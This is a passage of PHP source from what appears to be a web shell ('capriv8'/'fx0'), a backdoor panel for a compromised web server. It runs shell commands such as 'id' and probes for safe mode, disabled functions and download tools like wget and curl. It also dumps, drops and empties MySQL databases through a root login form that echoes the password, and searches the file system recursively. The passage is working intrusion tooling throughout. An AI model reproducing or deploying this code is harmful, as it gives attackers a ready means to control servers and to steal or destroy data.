= (\$mode & 00100) > 0;\r\n \$g[\"r\"] = (\$mode & 00040) > 0; \$g[\"w\"] = (\$mode & 00020) > 0; \$g[\"x\"] = (\$mode & 00010) > 0;\r\n \$w[\"r\"] = (\$mode & 00004) > 0; \$w[\"w\"] = (\$mode & 00002) > 0; \$w[\"x\"] = (\$mode & 00001) > 0;\r\n return array(\"t\"=>\$t,\"o\"=>\$o,\"g\"=>\$g,\"w\"=>\$w);\r\n }\r\n }\r\n if (!function_exists(\"parsesort\")) {\r\n function parsesort(\$sort) {\r\n \$one = intval(\$sort);\r\n \$second = substr(\$sort,-1);\r\n if (\$second != \"d\") {\$second = \"a\";}\r\n return array(\$one,\$second);\r\n }\r\n }\r\n if (!function_exists(\"view_perms_color\")) {\r\n function view_perms_color(\$o) {\r\n if (!is_readable(\$o)) {return \"<font color=red>\".view_perms(fileperms(\$o)).\"</font>\";}\r\n elseif (!is_writable(\$o)) {return \"<font color=white>\".view_perms(fileperms(\$o)).\"</font>\";}\r\n else {return \"<font color=green>\".view_perms(fileperms(\$o)).\"</font>\";}\r\n }\r\n }\r\n if (!function_exists(\"mysql_dump\")) {\r\n function mysql_dump(\$set) {\r\n global \$sh_ver;\r\n \$sock = \$set[\"sock\"];\r\n \$db = \$set[\"db\"];\r\n \$print = \$set[\"print\"];\r\n \$nl2br = \$set[\"nl2br\"];\r\n \$file = \$set[\"file\"];\r\n \$add_drop = \$set[\"add_drop\"];\r\n \$tabs = \$set[\"tabs\"];\r\n \$onlytabs = \$set[\"onlytabs\"];\r\n \$ret = array();\r\n \$ret[\"err\"] = array();\r\n if (!is_resource(\$sock)) {echo(\"Error: \\\$sock is not valid resource.\");}\r\n if (empty(\$db)) {\$db = \"db\";}\r\n if (empty(\$print)) {\$print = 0;}\r\n if (empty(\$nl2br)) {\$nl2br = 0;}\r\n if (empty(\$add_drop)) {\$add_drop = TRUE;}\r\n if (empty(\$file)) {\r\n \$file = \$tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".\$db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\";\r\n }\r\n if (!is_array(\$tabs)) {\$tabs = array();}\r\n if (empty(\$add_drop)) {\$add_drop = TRUE;}\r\n if (sizeof(\$tabs) == 0) {\r\n \$res = mysql_query(\"SHOW TABLES FROM \".\$db, \$sock);\r\n if (mysql_num_rows(\$res) > 0) {while (\$row = mysql_fetch_row(\$res)) {\$tabs[] = \$row[0];}}\r\n }\r\n \$out = \"\r\n # Dumped by fx0\r\n #\r\n # Host settings:\r\n # MySQL version: (\".mysql_get_server_info().\") running on \".getenv(\"SERVER_ADDR\").\" (\".getenv(\"SERVER_NAME\").\")\".\"\r\n # Date: \".date(\"d.m.Y H:i:s\").\"\r\n # DB: \\\"\".\$db.\"\\\"\r\n #---------------------------------------------------------\";\r\n \$c = count(\$onlytabs);\r\n foreach(\$tabs as \$tab) {\r\n if ((in_array(\$tab,\$onlytabs)) or (!\$c)) {\r\n if (\$add_drop) {\$out .= \"DROP TABLE IF EXISTS `\".\$tab.\"`;\\n\";}\r\n \$res = mysql_query(\"SHOW CREATE TABLE `\".\$tab.\"`\", \$sock);\r\n if (!\$res) {\$ret[\"err\"][] = mysql_smarterror();}\r\n else {\r\n \$row = mysql_fetch_row(\$res);\r\n \$out .= \$row[\"1\"].\";\\n\\n\";\r\n \$res = mysql_query(\"SELECT * FROM `\$tab`\", \$sock);\r\n if (mysql_num_rows(\$res) > 0) {\r\n while (\$row = mysql_fetch_assoc(\$res)) {\r\n \$keys = implode(\"`, `\", array_keys(\$row));\r\n \$values = array_values(\$row);\r\n foreach(\$values as \$k=>\$v) {\$values[\$k] = addslashes(\$v);}\r\n \$values = implode(\"', '\", \$values);\r\n \$sql = \"INSERT INTO `\$tab`(`\".\$keys.\"`) VALUES ('\".\$values.\"');\\n\";\r\n \$out .= \$sql;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n \$out .= \"#---------------------------------------------------------------------------------\\n\\n\";\r\n if (\$file) {\r\n \$fp = fopen(\$file, \"w\");\r\n if (!\$fp) {\$ret[\"err\"][] = 2;}\r\n else {\r\n fwrite (\$fp, \$out);\r\n fclose (\$fp);\r\n }\r\n }\r\n if (\$print) {if (\$nl2br) {echo nl2br(\$out);} else {echo \$out;}}\r\n return \$out;\r\n }\r\n }\r\n if (!function_exists(\"mysql_buildwhere\")) {\r\n function mysql_buildwhere(\$array,\$sep=\" and\",\$functs=array()) {\r\n if (!is_array(\$array)) {\$array = array();}\r\n \$result = \"\";\r\n foreach(\$array as \$k=>\$v) {\r\n \$value = \"\";\r\n if (!empty(\$functs[\$k])) {\$value .= \$functs[\$k].\"(\";}\r\n \$value .= \"'\".addslashes(\$v).\"'\";\r\n if (!empty(\$functs[\$k])) {\$value .= \")\";}\r\n \$result .= \"`\".\$k.\"` = \".\$value.\$sep;\r\n }\r\n \$result = substr(\$result,0,strlen(\$result)-strlen(\$sep));\r\n return \$result;\r\n }\r\n }\r\n if (!function_exists(\"mysql_fetch_all\")) {\r\n function mysql_fetch_all(\$query,\$sock) {\r\n if (\$sock) {\$result = mysql_query(\$query,\$sock);}\r\n else {\$result = mysql_query(\$query);}\r\n \$array = array();\r\n while (\$row = mysql_fetch_array(\$result)) {\$array[] = \$row;}\r\n mysql_free_result(\$result);\r\n return \$array;\r\n }\r\n }\r\n if (!function_exists(\"mysql_smarterror\")) {\r\n function mysql_smarterror(\$type,\$sock) {\r\n if (\$sock) {\$error = mysql_error(\$sock);}\r\n else {\$error = mysql_error();}\r\n \$error = htmlspecialchars(\$error);\r\n return \$error;\r\n }\r\n }\r\n if (!function_exists(\"mysql_query_form\")) {\r\n function mysql_query_form() {\r\n global \$submit,\$sql_x,\$sql_query,\$sql_query_result,\$sql_confirm,\$sql_query_error,\$tbl_struct;\r\n if ((\$submit) and (!\$sql_query_result) and (\$sql_confirm)) {if (!\$sql_query_error) {\$sql_query_error = \"Query was empty\";} echo \"<b>Error:</b> <br>\".\$sql_query_error.\"<br>\";}\r\n if (\$sql_query_result or (!\$sql_confirm)) {\$sql_x = \$sql_goto;}\r\n if ((!\$submit) or (\$sql_x)) {\r\n echo \"<table border=0><tr><td><form name=\\\"capriv8_sqlquery\\\" method=POST><b>\"; if ((\$sql_query) and (!\$submit)) {echo \"Do you really want to\";} else {echo \"SQL-Query\";} echo \":</b><br><br><textarea name=sql_query cols=100 rows=10>\".htmlspecialchars(\$sql_query).\"</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\\\"\".htmlspecialchars(\$sql_tbl).\"\\\"><input type=hidden name=submit value=\\\"1\\\"><input type=hidden name=\\\"sql_goto\\\" value=\\\"\".htmlspecialchars(\$sql_goto).\"\\\"><input type=submit name=sql_confirm value=\\\"Yes\\\"> <input type=submit value=\\\"No\\\"></form></td>\";\r\n if (\$tbl_struct) {\r\n echo \"<td valign=\\\"top\\\"><b>Fields:</b><br>\";\r\n foreach (\$tbl_struct as \$field) {\$name = \$field[\"Field\"]; echo \"+ <a href=\\\"#\\\" onclick=\\\"document.capriv8_sqlquery.sql_query.value+='`\".\$name.\"`';\\\"><b>\".\$name.\"</b></a><br>\";}\r\n echo \"</td></tr></table>\";\r\n }\r\n }\r\n if (\$sql_query_result or (!\$sql_confirm)) {\$sql_query = \$sql_last_query;}\r\n }\r\n }\r\n if (!function_exists(\"mysql_create_db\")) {\r\n function mysql_create_db(\$db,\$sock=\"\") {\r\n \$sql = \"CREATE DATABASE `\".addslashes(\$db).\"`;\";\r\n if (\$sock) {return mysql_query(\$sql,\$sock);}\r\n else {return mysql_query(\$sql);}\r\n }\r\n }\r\n if (!function_exists(\"mysql_query_parse\")) {\r\n function mysql_query_parse(\$query) {\r\n \$query = trim(\$query);\r\n \$arr = explode (\" \",\$query);\r\n \$types = array(\r\n \"SELECT\"=>array(3,1),\r\n \"SHOW\"=>array(2,1),\r\n \"DELETE\"=>array(1),\r\n \"DROP\"=>array(1)\r\n );\r\n \$result = array();\r\n \$op = strtoupper(\$arr[0]);\r\n if (is_array(\$types[\$op])) {\r\n \$result[\"propertions\"] = \$types[\$op];\r\n \$result[\"query\"] = \$query;\r\n if (\$types[\$op] == 2) {\r\n foreach(\$arr as \$k=>\$v) {\r\n if (strtoupper(\$v) == \"LIMIT\") {\r\n \$result[\"limit\"] = \$arr[\$k+1];\r\n \$result[\"limit\"] = explode(\",\",\$result[\"limit\"]);\r\n if (count(\$result[\"limit\"]) == 1) {\$result[\"limit\"] = array(0,\$result[\"limit\"][0]);}\r\n unset(\$arr[\$k],\$arr[\$k+1]);\r\n }\r\n }\r\n }\r\n }\r\n else {return FALSE;}\r\n }\r\n }\r\n if (!function_exists(\"cafsearch\")) {\r\n function cafsearch(\$d) {\r\n global \$found;\r\n global \$found_d;\r\n global \$found_f;\r\n global \$search_i_f;\r\n global \$search_i_d;\r\n global \$a;\r\n if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;}\r\n \$h = opendir(\$d);\r\n while ((\$f = readdir(\$h)) !== FALSE) {\r\n if(\$f != \".\" && \$f != \"..\") {\r\n \$bool = (empty(\$a[\"name_regexp\"]) and strpos(\$f,\$a[\"name\"]) !== FALSE) || (\$a[\"name_regexp\"] and ereg(\$a[\"name\"],\$f));\r\n if (is_dir(\$d.\$f)) {\r\n \$search_i_d++;\r\n if (empty(\$a[\"text\"]) and \$bool) {\$found[] = \$d.\$f; \$found_d++;}\r\n if (!is_link(\$d.\$f)) {cafsearch(\$d.\$f);}\r\n }\r\n else {\r\n \$search_i_f++;\r\n if (\$bool) {\r\n if (!empty(\$a[\"text\"])) {\r\n \$r = @file_get_contents(\$d.\$f);\r\n if (\$a[\"text_wwo\"]) {\$a[\"text\"] = \" \".trim(\$a[\"text\"]).\" \";}\r\n if (!\$a[\"text_cs\"]) {\$a[\"text\"] = strtolower(\$a[\"text\"]); \$r = strtolower(\$r);}\r\n if (\$a[\"text_regexp\"]) {\$bool = ereg(\$a[\"text\"],\$r);}\r\n else {\$bool = strpos(\" \".\$r,\$a[\"text\"],1);}\r\n if (\$a[\"text_not\"]) {\$bool = !\$bool;}\r\n if (\$bool) {\$found[] = \$d.\$f; \$found_f++;}\r\n }\r\n else {\$found[] = \$d.\$f; \$found_f++;}\r\n }\r\n }\r\n }\r\n }\r\n closedir(\$h);\r\n }\r\n }\r\n if (\$x == \"gofile\") {\r\n if (is_dir(\$f)) { \$x = \"ls\"; \$d = \$f; }\r\n else { \$x = \"f\"; \$d = dirname(\$f); \$f = basename(\$f); }\r\n }\r\n @ob_start();\r\n @ob_implicit_flush(0);\r\n function onphpshutdown() {\r\n global \$gzipencode,\$ft;\r\n if (!headers_sent() and \$gzipencode and !in_array(\$ft,array(\"img\",\"download\",\"notepad\"))) {\r\n \$v = @ob_get_contents();\r\n @ob_end_clean();\r\n @ob_start(\"ob_gzHandler\");\r\n echo \$v;\r\n @ob_end_flush();\r\n }\r\n }\r\n function capriv8exit() {\r\n onphpshutdown();\r\n exit;\r\n }\r\n header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\r\n header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", FALSE);\r\n header(\"Pragma: no-cache\");\r\n if (empty(\$tmpdir)) {\r\n \$tmpdir = ini_get(\"upload_tmp_dir\");\r\n if (is_dir(\$tmpdir)) {\$tmpdir = \"/tmp/\";}\r\n }\r\n \$tmpdir = realpath(\$tmpdir);\r\n \$tmpdir = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$tmpdir);\r\n if (substr(\$tmpdir,-1) != DIRECTORY_SEPARATOR) {\$tmpdir .= DIRECTORY_SEPARATOR;}\r\n if (empty(\$tmpdir_logs)) {\$tmpdir_logs = \$tmpdir;}\r\n else {\$tmpdir_logs = realpath(\$tmpdir_logs);}\r\n function showstat(\$stat) {\r\n if (\$stat==\"on\") { return \"<font color=#00FF00><b>ON</b></font>\"; }\r\n else { return \"<font color=red><b>OFF</b></font>\"; }\r\n }\r\n function testperl() {\r\n if (ex('perl -h')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testfetch() {\r\n if(ex('fetch --help')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testwget() {\r\n if (ex('wget --help')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testoracle() {\r\n if (function_exists('ocilogon')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testpostgresql() {\r\n if (function_exists('pg_connect')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testmssql() {\r\n if (function_exists('mssql_connect')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testcurl() {\r\n if (function_exists('curl_version')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function testmysql() {\r\n if (function_exists('mysql_connect')) { return showstat(\"on\"); }\r\n else { return showstat(\"off\"); }\r\n }\r\n function showdisablefunctions() {\r\n if (\$disablefunc=@ini_get(\"disable_functions\")){ return \"<font color=red><b>\".\$disablefunc.\"</b></font>\"; }\r\n else { return \"<font color=#00FF00><b>NONE</b></b></font>\"; }\r\n }\r\n if (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\") {\r\n \$safemode = TRUE;\r\n \$hsafemode = \"<font color=#3366FF><b>ON (Secure)</b></font>\";\r\n }\r\n else {\r\n \$safemode = FALSE;\r\n \$hsafemode = \"<font color=red><b>OFF (Not Secure)</b></font>\";\r\n }\r\n \$v = @ini_get(\"open_basedir\");\r\n if (\$v or strtolower(\$v) == \"on\") {\r\n \$openbasedir = TRUE;\r\n \$hopenbasedir = \"<font color=red>\".\$v.\"</font>\";\r\n }\r\n else {\r\n \$openbasedir = FALSE;\r\n \$hopenbasedir = \"<font color=green>OFF (not secure)</font>\";\r\n }\r\n \$quotes = get_magic_quotes_gpc();\r\nif (\$quotes == \"1\" or \$quotes == \"on\")\r\n {\r\n \$quot = \"<font color='red'>ON</font>\";\r\n }\r\n else\r\n {\r\n \$quot = \"<font color='green'>OFF</font>\";\r\n }\r\n \$sort = htmlspecialchars(\$sort);\r\n if (empty(\$sort)) {\$sort = \$sort_default;}\r\n \$sort[1] = strtolower(\$sort[1]);\r\n \$DISP_SERVER_SOFTWARE = getenv(\"SERVER_SOFTWARE\");\r\n if (!ereg(\"PHP/\".phpversion(),\$DISP_SERVER_SOFTWARE)) {\$DISP_SERVER_SOFTWARE .= \". PHP/\".phpversion();}\r\n \$DISP_SERVER_SOFTWARE = str_replace(\"PHP/\".phpversion(),\"<a href=\\\"\".\$surl.\"x=phpinfo\\\" target=\\\"_blank\\\"><b><u>PHP/\".phpversion().\"</u></b></a>\",htmlspecialchars(\$DISP_SERVER_SOFTWARE));\r\n @ini_set(\"highlight.bg\",\$highlight_bg);\r\n @ini_set(\"highlight.comment\",\$highlight_comment);\r\n @ini_set(\"highlight.default\",\$highlight_default);\r\n @ini_set(\"highlight.html\",\$highlight_html);\r\n @ini_set(\"highlight.keyword\",\$highlight_keyword);\r\n @ini_set(\"highlight.string\",\$highlight_string);\r\n if (!is_array(\$actbox)) { \$actbox = array(); }\r\n \$dspact = \$x = htmlspecialchars(\$x);\r\n \$disp_fullpath = \$ls_arr = \$notls = null;\r\n \$ud = urlencode(\$d);\r\n \$d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$d);\r\n if (empty(\$d)) {\$d = realpath(\".\");}\r\n elseif(realpath(\$d)) {\$d = realpath(\$d);}\r\n \$d = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,\$d);\r\n if (substr(\$d,-1) != DIRECTORY_SEPARATOR) {\$d .= DIRECTORY_SEPARATOR;}\r\n \$d = str_replace(\"\\\\\\\\\",\"\\\\\",\$d);\r\n \$dispd = htmlspecialchars(\$d);\r\necho \$html_start;\r\necho \"<table id=pagebar><tr><td width=50%><p>\".\r\n\t \"Software : \".\$DISP_SERVER_SOFTWARE .\" - <a href=\".\$surl.\"x=phpini>php.ini</a><br>\".\r\n \"Safe Mode:\$hsafemode<br>Magic Quotes:\$quot<br>\".\r\n \"Uname -a : \".php_uname().\"<br>\";\r\nif (!\$win) { echo \"id : \".myshellexec(\"id\"); }\r\nelse { echo \"User : \" . get_current_user(); }\r\necho \"<br></p>\".\r\n \"<p>Server IP : <a href=http://whois.domaintools.com/\".gethostbyname(\$_SERVER[\"HTTP_HOST\"]).\">\".gethostbyname(\$_SERVER[\"HTTP_HOST\"]).\"</a> - \".\r\n \"Your IP : <a href=http://whois.domaintools.com/\".\$_SERVER[\"REMOTE_ADDR\"].\">\".\$_SERVER[\"REMOTE_ADDR\"].\"</a>\";\r\n\t echo \"<br><p>\";\r\nif(\$win){echo \"Drives : \".disp_drives(\$d,\$surl).\"</p><p>\";}\r\necho \"Freespace : \".disp_freespace(\$d);\r\necho \"</p><p>\";\r\necho \"MySQL: \".testmysql().\" MSSQL: \".testmssql().\" Oracle: \".testoracle().\" MSSQL: \".testmssql().\" PostgreSQL: \".testpostgresql().\r\n \" cURL: \".testcurl().\" WGet: \".testwget().\" Fetch: \".testfetch().\" Perl: \".testperl().\"<br>\";\r\necho \"Disabled Functions: \".showdisablefunctions();\r\necho \"</p></td></tr>\";\r\necho \"<tr><td colspan=2 id=mainmenu>\";\r\nif (count(\$quicklaunch2) > 0) {\r\n foreach(\$quicklaunch2 as \$item) {\r\n \$item[1] = str_replace(\"%d\",urlencode(\$d),\$item[1]);\r\n \$item[1] = str_replace(\"%sort\",\$sort,\$item[1]);\r\n \$v = realpath(\$d.\"..\");\r\n if (empty(\$v)) {\r\n \$a = explode(DIRECTORY_SEPARATOR,\$d);\r\n unset(\$a[count(\$a)-2]);\r\n \$v = join(DIRECTORY_SEPARATOR,\$a);\r\n }\r\n \$item[1] = str_replace(\"%upd\",urlencode(\$v),\$item[1]);\r\n echo \"<a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a>\\n\";\r\n }\r\n}\r\necho \"</td><tr><td colspan=2 id=mainmenu>\";\r\nif (count(\$quicklaunch1) > 0) {\r\n foreach(\$quicklaunch1 as \$item) {\r\n \$item[1] = str_replace(\"%d\",urlencode(\$d),\$item[1]);\r\n \$item[1] = str_replace(\"%sort\",\$sort,\$item[1]);\r\n \$v = realpath(\$d.\"..\");\r\n if (empty(\$v)) {\r\n \$a = explode(DIRECTORY_SEPARATOR,\$d);\r\n unset(\$a[count(\$a)-2]);\r\n \$v = join(DIRECTORY_SEPARATOR,\$a);\r\n }\r\n \$item[1] = str_replace(\"%upd\",urlencode(\$v),\$item[1]);\r\n echo \"<a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a>\\n\";\r\n }\r\n}\r\necho \"</td><tr><td colspan=2 id=mainmenu>\";\r\nif (count(\$quicklaunch3) > 0) {\r\n foreach(\$quicklaunch3 as \$item) {\r\n \$item[1] = str_replace(\"%d\",urlencode(\$d),\$item[1]);\r\n \$item[1] = str_replace(\"%sort\",\$sort,\$item[1]);\r\n \$v = realpath(\$d.\"..\");\r\n if (empty(\$v)) {\r\n \$a = explode(DIRECTORY_SEPARATOR,\$d);\r\n unset(\$a[count(\$a)-2]);\r\n \$v = join(DIRECTORY_SEPARATOR,\$a);\r\n }\r\n \$item[1] = str_replace(\"%upd\",urlencode(\$v),\$item[1]);\r\n echo \"<a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a>\\n\";\r\n }\r\n}\r\necho \"</td></tr><tr><td colspan=2>\";\r\necho \"<p class=fleft>\";\r\n\$pd = \$e = explode(DIRECTORY_SEPARATOR,substr(\$d,0,-1));\r\n\$i = 0;\r\nforeach(\$pd as \$b) {\r\n \$t = \"\"; \$j = 0;\r\n foreach (\$e as \$r) {\r\n \$t.= \$r.DIRECTORY_SEPARATOR;\r\n if (\$j == \$i) { break; }\r\n \$j++;\r\n }\r\n echo \"<a href=\\\"\".\$surl.\"x=ls&d=\".urlencode(\$t).\"&sort=\".\$sort.\"\\\"><font color=red>\".htmlspecialchars(\$b).DIRECTORY_SEPARATOR.\"</font></a>\";\r\n \$i++;\r\n}\r\necho \" - \";\r\nif (is_writable(\$d)) {\r\n \$wd = TRUE;\r\n \$wdt = \"<font color=#00FF00>[OK]</font>\";\r\n echo \"<b><font color=green>\".view_perms(fileperms(\$d)).\"</font></b>\";\r\n}\r\nelse {\r\n \$wd = FALSE;\r\n \$wdt = \"<font color=red>[Read-Only]</font>\";\r\n echo \"<b>\".view_perms_color(\$d).\"</b>\";\r\n}\r\n?>\r\n\r\n</p>\r\n<br />\r\n<form method=\"POST\"><input type=hidden name=act value=\"ls\">\r\nDirectory: <input type=\"text\" name=\"d\" size=\"50\" value=\"<?php echo \$dispd; ?>\"> <input type=submit value=\"Go\">\r\n</form>\r\n</td></tr></table>\r\n<?php\r\necho \"<table id=maininfo><tr><td width=\\\"100%\\\">\\n\";\r\nif (\$x == \"\") { \$x = \$dspact = \"ls\"; }\r\nif (\$x == \"phpini\" ) { get_phpini(); }\r\nif (\$x == \"sql\") {\r\n \$sql_surl = \$surl.\"x=sql\";\r\n if (\$sql_login) {\$sql_surl .= \"&sql_login=\".htmlspecialchars(\$sql_login);}\r\n if (\$sql_passwd) {\$sql_surl .= \"&sql_passwd=\".htmlspecialchars(\$sql_passwd);}\r\n if (\$sql_server) {\$sql_surl .= \"&sql_server=\".htmlspecialchars(\$sql_server);}\r\n if (\$sql_port) {\$sql_surl .= \"&sql_port=\".htmlspecialchars(\$sql_port);}\r\n if (\$sql_db) {\$sql_surl .= \"&sql_db=\".htmlspecialchars(\$sql_db);}\r\n \$sql_surl .= \"&\";\r\n echo \"<table>\".\r\n \"<tr><td width=\\\"100%\\\" colspan=2 class=barheader>\";\r\n if (\$sql_server) {\r\n \$sql_sock = mysql_connect(\$sql_server.\":\".\$sql_port, \$sql_login, \$sql_passwd);\r\n \$err = mysql_smarterror();\r\n @mysql_select_db(\$sql_db,\$sql_sock);\r\n if (\$sql_query and \$submit) {\$sql_query_result = mysql_query(\$sql_query,\$sql_sock); \$sql_query_error = mysql_smarterror();}\r\n }\r\n else {\$sql_sock = FALSE;}\r\n echo \".: SQL Manager :.<br>\";\r\n if (!\$sql_sock) {\r\n if (!\$sql_server) {echo \"NO CONNECTION\";}\r\n else {echo \"Can't connect! \".\$err;}\r\n }\r\n else {\r\n \$sqlquicklaunch = array();\r\n \$sqlquicklaunch[] = array(\"Index\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&\");\r\n \$sqlquicklaunch[] = array(\"Query\",\$sql_surl.\"sql_x=query&sql_tbl=\".urlencode(\$sql_tbl));\r\n \$sqlquicklaunch[] = array(\"Server-status\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=serverstatus\");\r\n \$sqlquicklaunch[] = array(\"Server variables\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=servervars\");\r\n \$sqlquicklaunch[] = array(\"Processes\",\$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&sql_x=processes\");\r\n \$sqlquicklaunch[] = array(\"Logout\",\$surl.\"x=sql\");\r\n echo \"MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_proto_info ().\") running in \".htmlspecialchars(\$sql_server).\":\".htmlspecialchars(\$sql_port).\" as \".htmlspecialchars(\$sql_login).\"@\".htmlspecialchars(\$sql_server).\" (password - \\\"\".htmlspecialchars(\$sql_passwd).\"\\\")<br>\";\r\n if (count(\$sqlquicklaunch) > 0) {foreach(\$sqlquicklaunch as \$item) {echo \"[ <a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a> ] \";}}\r\n }\r\n echo \"</td></tr><tr>\";\r\n if (!\$sql_sock) {\r\n echo \"<td width=\\\"28%\\\" height=\\\"100\\\" valign=\\\"top\\\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\\\"90%\\\" height=1 valign=\\\"top\\\">\";\r\n echo \"<table width=\\\"100%\\\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\\\" \$surl \\\" method=\\\"POST\\\"><input type=\\\"hidden\\\" name=\\\"x\\\" value=\\\"sql\\\"><tr><td><input type=\\\"text\\\" name=\\\"sql_login\\\" value=\\\"root\\\" maxlength=\\\"64\\\"></td><td><input type=\\\"password\\\" name=\\\"sql_passwd\\\" value=\\\"\\\" maxlength=\\\"64\\\"></td><td><input type=\\\"text\\\" name=\\\"sql_db\\\" value=\\\"\\\" maxlength=\\\"64\\\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\\\"text\\\" name=\\\"sql_server\\\" value=\\\"localhost\\\" maxlength=\\\"64\\\"></td><td><input type=\\\"text\\\" name=\\\"sql_port\\\" value=\\\"3306\\\" maxlength=\\\"6\\\" size=\\\"3\\\"></td><td><input type=\\\"submit\\\" value=\\\"Connect\\\"></td></tr><tr><td></td></tr></form></table></td>\";\r\n }\r\n else {\r\n if (!empty(\$sql_db)) {\r\n ?><td width=\"25%\" height=\"100%\" valign=\"top\"><a href=\"<?php echo \$surl.\"x=sql&sql_login=\".htmlspecialchars(\$sql_login).\"&sql_passwd=\".htmlspecialchars(\$sql_passwd).\"&sql_server=\".htmlspecialchars(\$sql_server).\"&sql_port=\".htmlspecialchars(\$sql_port).\"&\"; ?>\"><b>Home</b></a><hr size=\"1\" noshade>\r\n\r\n <?php\r\n \$result = mysql_list_tables(\$sql_db);\r\n if (!\$result) {echo mysql_smarterror();}\r\n else {\r\n echo \"---[ <a href=\\\"\".\$sql_surl.\"&\\\"><b>\".htmlspecialchars(\$sql_db).\"</b></a> ]---<br>\";\r\n \$c = 0;\r\n while (\$row = mysql_fetch_array(\$result)) {\$count = mysql_query (\"SELECT COUNT(*) FROM \".\$row[0]); \$count_row = mysql_fetch_array(\$count); echo \"<b>+ <a href=\\\"\".\$sql_surl.\"sql_db=\".htmlspecialchars(\$sql_db).\"&sql_tbl=\".htmlspecialchars(\$row[0]).\"\\\"><b>\".htmlspecialchars(\$row[0]).\"</b></a> (\".\$count_row[0].\")</br></b>\"; mysql_free_result(\$count); \$c++;}\r\n if (!\$c) {echo \"No tables found in database.\";}\r\n }\r\n }\r\n else {\r\n ?><td width=\"1\" height=\"100\" valign=\"top\"><a href=\"<?php echo \$sql_surl; ?>\"><b>Home</b></a><hr size=\"1\" noshade>\r\n <?php\r\n \$result = mysql_list_dbs(\$sql_sock);\r\n if (!\$result) {echo mysql_smarterror();}\r\n else {\r\n ?><form action=\"<?php echo \$surl; ?>\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_login\" value=\"<?php echo htmlspecialchars(\$sql_login); ?>\"><input type=\"hidden\" name=\"sql_passwd\" value=\"<?php echo htmlspecialchars(\$sql_passwd); ?>\"><input type=\"hidden\" name=\"sql_server\" value=\"<?php echo htmlspecialchars(\$sql_server); ?>\"><input type=\"hidden\" name=\"sql_port\" value=\"<?php echo htmlspecialchars(\$sql_port); ?>\"><select name=\"sql_db\">\r\n <?php\r\n \$c = 0;\r\n \$dbs = \"\";\r\n while (\$row = mysql_fetch_row(\$result)) {\$dbs .= \"<option value=\\\"\".\$row[0].\"\\\"\"; if (\$sql_db == \$row[0]) {\$dbs .= \" selected\";} \$dbs .= \">\".\$row[0].\"</option>\"; \$c++;}\r\n echo \"<option value=\\\"\\\">Databases (\".\$c.\")</option>\";\r\n echo \$dbs;\r\n }\r\n ?></select><hr size=\"1\" noshade>Please, select database<hr size=\"1\" noshade><input type=\"submit\" value=\"Go\"></form>\r\n\r\n <?php\r\n }\r\n echo \"</td><td width=\\\"100%\\\">\";\r\n \$diplay = TRUE;\r\n if (\$sql_db) {\r\n if (!is_numeric(\$c)) {\$c = 0;}\r\n if (\$c == 0) {\$c = \"no\";}\r\n echo \"<hr size=\\\"1\\\" noshade><center><b>There are \".\$c.\" table(s) in this DB (\".htmlspecialchars(\$sql_db).\").<br>\";\r\n if (count(\$dbquicklaunch) > 0) {foreach(\$dbsqlquicklaunch as \$item) {echo \"[ <a href=\\\"\".\$item[1].\"\\\">\".\$item[0].\"</a> ] \";}}\r\n echo \"</b></center>\";\r\n \$acts = array(\"\",\"dump\");\r\n if (\$sql_x == \"tbldrop\") {\$sql_query = \"DROP TABLE\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"\\n`\".\$v.\"` ,\";} \$sql_query = substr(\$sql_query,0,-1).\";\"; \$sql_x = \"query\";}\r\n elseif (\$sql_x == \"tblempty\") {\$sql_query = \"\"; foreach(\$boxtbl as \$v) {\$sql_query .= \"DELETE FROM `\".\$v.\"` \\n\";} 